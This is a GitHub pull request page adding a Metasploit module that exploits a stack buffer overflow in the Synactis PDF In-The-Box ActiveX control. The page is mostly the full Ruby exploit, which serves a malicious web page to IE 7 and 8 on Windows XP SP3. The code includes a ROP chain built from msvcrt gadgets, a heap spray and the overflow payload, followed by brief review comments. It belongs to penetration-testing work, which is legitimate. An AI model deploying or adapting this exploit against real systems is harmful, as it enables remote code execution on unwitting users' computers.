-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add OSVDB-93754: Synactis PDF In-The-Box ConnectToSynactic Stack Buffer ... #1916
Merged
Merged
Changes from 2 commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
d3e57ff
Add OSVDB-93754: Synactis PDF In-The-Box ConnectToSynactic Stack Buff…
wchen-r7 e559824
Remove whitespace
wchen-r7 f3421f2
Fix different landings
wchen-r7 9c7b446
Updates description about default browser setting
wchen-r7 ea2895a
Change to AverageRanking
wchen-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
206 changes: 206 additions & 0 deletions
206
modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,206 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::HttpServer::HTML | ||
include Msf::Exploit::RopDb | ||
include Msf::Exploit::Remote::BrowserAutopwn | ||
|
||
autopwn_info({ | ||
:ua_name => HttpClients::IE, | ||
:ua_minver => "7.0", | ||
:ua_maxver => "8.0", | ||
:javascript => true, | ||
:classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}", | ||
:method => "ConnectToSynactis", | ||
:os_name => OperatingSystems::WINDOWS, | ||
:rank => Rank | ||
}) | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", | ||
'Description' => %q{ | ||
This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX | ||
component, specifically PDF_IN_1.ocx. When a long string of data is given | ||
to the ConnectToSynactis function, which is meant to be used for the ldCmdLine | ||
argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry | ||
class pointer saved on the stack, and results in arbitrary code execution under the | ||
context of the user. | ||
|
||
Also note that since the WinExec function is used to call iexplore.exe to launch | ||
an arbitary URL, when the exploit is run, this may also cause another iexplore.exe | ||
to pop up. | ||
|
||
Synactis PDF In-The-Box is also used by other software such as Logic Print 2013, | ||
which is how the vulnerability was found and publicly disclosed. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'h1ch4m', | ||
'sinn3r' #Metasploit | ||
], | ||
'References' => | ||
[ | ||
[ 'OSVDB', '93754' ], | ||
[ 'EDB', '25835' ] | ||
], | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
# Newer setups like Win + IE8: "Object doesn't support this property or method" | ||
[ 'Automatic', {} ], | ||
[ | ||
'IE 7 on Windows XP SP3', {'Eax' => 0x20302028} | ||
], | ||
[ | ||
# 0x20302020 = Where the heap spray will land | ||
# 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4 | ||
'IE 8 on Windows XP SP3', | ||
{ 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 } | ||
] | ||
], | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00", | ||
'StackAdjustment' => -3500 | ||
}, | ||
'DefaultOptions' => | ||
{ | ||
'InitialAutoRunScript' => 'migrate -f' | ||
}, | ||
'Privileged' => false, | ||
'DisclosureDate' => "May 30 2013", | ||
'DefaultTarget' => 0)) | ||
end | ||
|
||
def get_target(agent) | ||
return target if target.name != 'Automatic' | ||
|
||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' | ||
ie = agent.scan(/MSIE (\d)/).flatten[0] || '' | ||
|
||
ie_name = "IE #{ie}" | ||
|
||
case nt | ||
when '5.1' | ||
os_name = 'Windows XP SP3' | ||
end | ||
|
||
targets.each do |t| | ||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) | ||
return t | ||
end | ||
end | ||
|
||
return nil | ||
end | ||
|
||
def get_payload(t, cli) | ||
code = payload.encoded | ||
|
||
case t['Rop'] | ||
when :msvcrt | ||
print_status("Using msvcrt ROP") | ||
align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 | ||
# Must be null-byte-free for the spray | ||
chain = | ||
[ | ||
t['Pivot'], | ||
0x41414141, | ||
t['Ecx'], # To ECX | ||
0x77c1e844, # POP EBP # RETN [msvcrt.dll] | ||
0x41414141, | ||
0x77c1e844, # skip 4 bytes [msvcrt.dll] | ||
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] | ||
0xffffffff, | ||
0x77c127e5, # INC EBX # RETN [msvcrt.dll] | ||
0x77c127e5, # INC EBX # RETN [msvcrt.dll] | ||
0x77c4e0da, # POP EAX # RETN [msvcrt.dll] | ||
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) | ||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] | ||
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] | ||
0x77c34fcd, # POP EAX # RETN [msvcrt.dll] | ||
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) | ||
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] | ||
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] | ||
0x77c3048a, # POP EDI # RETN [msvcrt.dll] | ||
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] | ||
0x77c46efb, # POP ESI # RETN [msvcrt.dll] | ||
0x77c2aacc, # JMP [EAX] [msvcrt.dll] | ||
0x77c3b860, # POP EAX # RETN [msvcrt.dll] | ||
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] | ||
0x77c12df9, # PUSHAD # RETN [msvcrt.dll] | ||
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] | ||
].pack("V*") | ||
|
||
p = chain + align + code | ||
|
||
else | ||
p = "\x0c" * 50 + code | ||
end | ||
|
||
p | ||
end | ||
|
||
def get_html(cli, req, target) | ||
js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch)) | ||
eax = "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x" | ||
|
||
html = %Q| | ||
<html> | ||
<head> | ||
<script> | ||
#{js_property_spray} | ||
|
||
function r() | ||
{ | ||
var s = unescape("#{js_p}"); | ||
sprayHeap({shellcode:s}); | ||
|
||
var p1 = ''; | ||
var p2 = ''; | ||
eax = "#{eax}"; | ||
|
||
while (p1.length < 189) p1 += "\\x41"; | ||
while (p2.length < 7000) p2 += "\\x42"; | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Can be random? |
||
|
||
var obj = document.getElementById("obj"); | ||
obj.ConnectToSynactis(p1+eax+p2); | ||
} | ||
</script> | ||
</head> | ||
<body OnLoad="r();"> | ||
<OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT> | ||
</body> | ||
</html> | ||
| | ||
|
||
html.gsub(/^\t\t/, '') | ||
end | ||
|
||
def on_request_uri(cli, request) | ||
agent = request.headers['User-Agent'] | ||
uri = request.uri | ||
print_status("Requesting: #{uri}") | ||
|
||
target = get_target(agent) | ||
if target.nil? | ||
print_error("Browser not supported, sending 404: #{agent}") | ||
send_not_found(cli) | ||
return | ||
end | ||
|
||
print_status("Target selected as: #{target.name}") | ||
send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can be randomized?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've decided not to because it looks like you're landing here. I'll put this as 0x0c to make sure you get code execution. Same for the 0x42 padding.